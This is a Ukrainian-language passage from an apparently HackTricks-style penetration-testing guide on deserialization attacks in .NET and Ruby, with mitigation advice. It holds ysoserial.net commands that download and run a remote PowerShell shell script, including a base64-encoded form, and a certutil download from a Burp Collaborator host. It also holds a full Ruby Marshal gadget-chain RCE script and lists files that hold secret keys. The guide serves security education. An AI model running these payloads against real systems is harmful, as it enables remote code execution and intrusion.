Інструмент JMET був створений для підключення та атаки на ці сервіси, надсилаючи кілька шкідливих об'єктів, серіалізованих за допомогою відомих гаджетів. Ці експлойти працюватимуть, якщо сервіс все ще вразливий і якщо будь-який з використаних гаджетів знаходиться всередині вразливого додатку.

Посилання

.Net

У контексті .Net експлойти десеріалізації працюють подібно до тих, що зустрічаються в Java, де гаджети експлуатуються для виконання конкретного коду під час десеріалізації об'єкта.

Відбиток

WhiteBox

Джерельний код слід перевірити на наявність:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Основна увага повинна бути зосереджена на серіалізаторах, які дозволяють визначати тип за змінною під контролем користувача.

BlackBox

Пошук слід націлити на Base64 закодований рядок AAEAAAD///// або будь-який подібний шаблон, який може бути десеріалізований на стороні сервера, надаючи контроль над типом, що підлягає десеріалізації. Це може включати, але не обмежується, JSON або XML структурами з TypeObject або $type.

ysoserial.net

У цьому випадку ви можете використовувати інструмент ysoserial.net для створення експлойтів десеріалізації. Після завантаження репозиторію git вам слід скомпілювати інструмент за допомогою Visual Studio, наприклад.

Якщо ви хочете дізнатися, як ysoserial.net створює свій експлойт, ви можете перевірити цю сторінку, де пояснюється гаджет ObjectDataProvider + ExpandedWrapper + Json.Net formatter.

Основні параметри ysoserial.net: --gadget, --formatter, --output та --plugin.

  • --gadget використовується для вказівки гаджета, який потрібно зловживати (вказати клас/функцію, яка буде зловживатися під час десеріалізації для виконання команд).
  • --formatter, використовується для вказівки методу серіалізації експлойту (вам потрібно знати, яка бібліотека використовується на сервері для десеріалізації корисного навантаження, і використовувати ту ж саму для серіалізації).
  • --output використовується для вказівки, чи хочете ви отримати експлойт у сирому або base64 закодованому вигляді. Зверніть увагу, що ysoserial.net буде кодувати корисне навантаження, використовуючи UTF-16LE (кодування, що використовується за замовчуванням у Windows), тому, якщо ви отримаєте сирий і просто закодуєте його з консолі Linux, ви можете зіткнутися з деякими проблемами сумісності кодування, які завадять експлойту працювати належним чином (в HTB JSON box корисне навантаження працювало як в UTF-16LE, так і в ASCII, але це не означає, що воно завжди буде працювати).
  • --plugin ysoserial.net підтримує плагіни для створення експлойтів для конкретних фреймворків, таких як ViewState

Більше параметрів ysoserial.net

  • --minify надасть менше корисне навантаження (якщо можливо)
  • --raf -f Json.Net -c "anything" Це вказуватиме всі гаджети, які можна використовувати з наданим форматором (Json.Net у цьому випадку)
  • --sf xml ви можете вказати гаджет (-g) і ysoserial.net буде шукати формати, що містять "xml" (незалежно від регістру)

Приклади ysoserial для створення експлойтів:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net має також дуже цікавий параметр, який допомагає краще зрозуміти, як працює кожен експлойт: --test
Якщо ви вкажете цей параметр, ysoserial.net спробує експлойт локально, щоб ви могли перевірити, чи ваш payload працюватиме правильно.
Цей параметр корисний, оскільки, якщо ви переглянете код, ви знайдете шматки коду, подібні до наступного (з ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Це означає, що для тестування експлойту код викликатиме serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

У попередньому коді є вразливість до створеного експлойту. Тож, якщо ви знайдете щось подібне в .Net додатку, це означає, що, ймовірно, цей додаток також вразливий.
Отже, параметр --test дозволяє нам зрозуміти, які частини коду вразливі до експлойту десеріалізації, який може створити ysoserial.net.

ViewState

Подивіться на цей POST про те, як спробувати експлуатувати параметр __ViewState .Net, щоб виконати довільний код. Якщо ви вже знаєте секрети, використані жертвою, прочитайте цей пост, щоб дізнатися, як виконати код.

Prevention

Щоб зменшити ризики, пов'язані з десеріалізацією в .Net:

  • Уникайте дозволяти потокам даних визначати свої типи об'єктів. Використовуйте DataContractSerializer або XmlSerializer, коли це можливо.
  • Для JSON.Net встановіть TypeNameHandling на None: %%%TypeNameHandling = TypeNameHandling.None%%%
  • Уникайте використання JavaScriptSerializer з JavaScriptTypeResolver.
  • Обмежте типи, які можуть бути десеріалізовані, розуміючи вроджені ризики з типами .Net, такими як System.IO.FileInfo, які можуть змінювати властивості файлів сервера, що потенційно призводить до атак відмови в обслуговуванні.
  • Будьте обережні з типами, що мають ризиковані властивості, такими як System.ComponentModel.DataAnnotations.ValidationException з його властивістю Value, яка може бути експлуатована.
  • Надійно контролюйте інстанціювання типів, щоб запобігти впливу зловмисників на процес десеріалізації, що робить навіть DataContractSerializer або XmlSerializer вразливими.
  • Впровадьте контролі білого списку за допомогою кастомного SerializationBinder для BinaryFormatter та JSON.Net.
  • Будьте в курсі відомих небезпечних гаджетів десеріалізації в .Net і переконайтеся, що десеріалізатори не інстанціюють такі типи.
  • Ізолюйте потенційно ризикований код від коду з доступом до Інтернету, щоб уникнути експонування відомих гаджетів, таких як System.Windows.Data.ObjectDataProvider в WPF додатках, до ненадійних джерел даних.

References

Ruby

У Ruby серіалізація здійснюється за допомогою двох методів у бібліотеці marshal. Перший метод, відомий як dump, використовується для перетворення об'єкта в байтовий потік. Цей процес називається серіалізацією. Навпаки, другий метод, load, використовується для повернення байтового потоку назад в об'єкт, процес, відомий як десеріалізація.

Для захисту серіалізованих об'єктів Ruby використовує HMAC (Hash-Based Message Authentication Code), що забезпечує цілісність і автентичність даних. Ключ, що використовується для цієї мети, зберігається в одному з кількох можливих місць:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Генералізована десеріалізація Ruby 2.X до RCE гаджетного ланцюга (більше інформації в https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Інша RCE ланцюг для експлуатації Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() метод

Як пояснено в цьому звіті про вразливість, якщо деякі неочищені дані користувача потрапляють до методу .send() об'єкта ruby, цей метод дозволяє викликати будь-який інший метод об'єкта з будь-якими параметрами.

Наприклад, виклик eval, а потім ruby код як другий параметр дозволить виконати довільний код:

{% code overflow="wrap" %}

<Object>.send('eval', '<user input with Ruby code>') == RCE

{% endcode %}

Більше того, якщо лише один параметр .send() контролюється зловмисником, як згадувалося в попередньому описі, можливо викликати будь-який метод об'єкта, який не потребує аргументів або аргументи якого мають значення за замовчуванням.
Для цього можливо перерахувати всі методи об'єкта, щоб знайти деякі цікаві методи, які відповідають цим вимогам.

{% code overflow="wrap" %}

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

{% endcode %}

{% hint style="success" %} Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks
{% endhint %}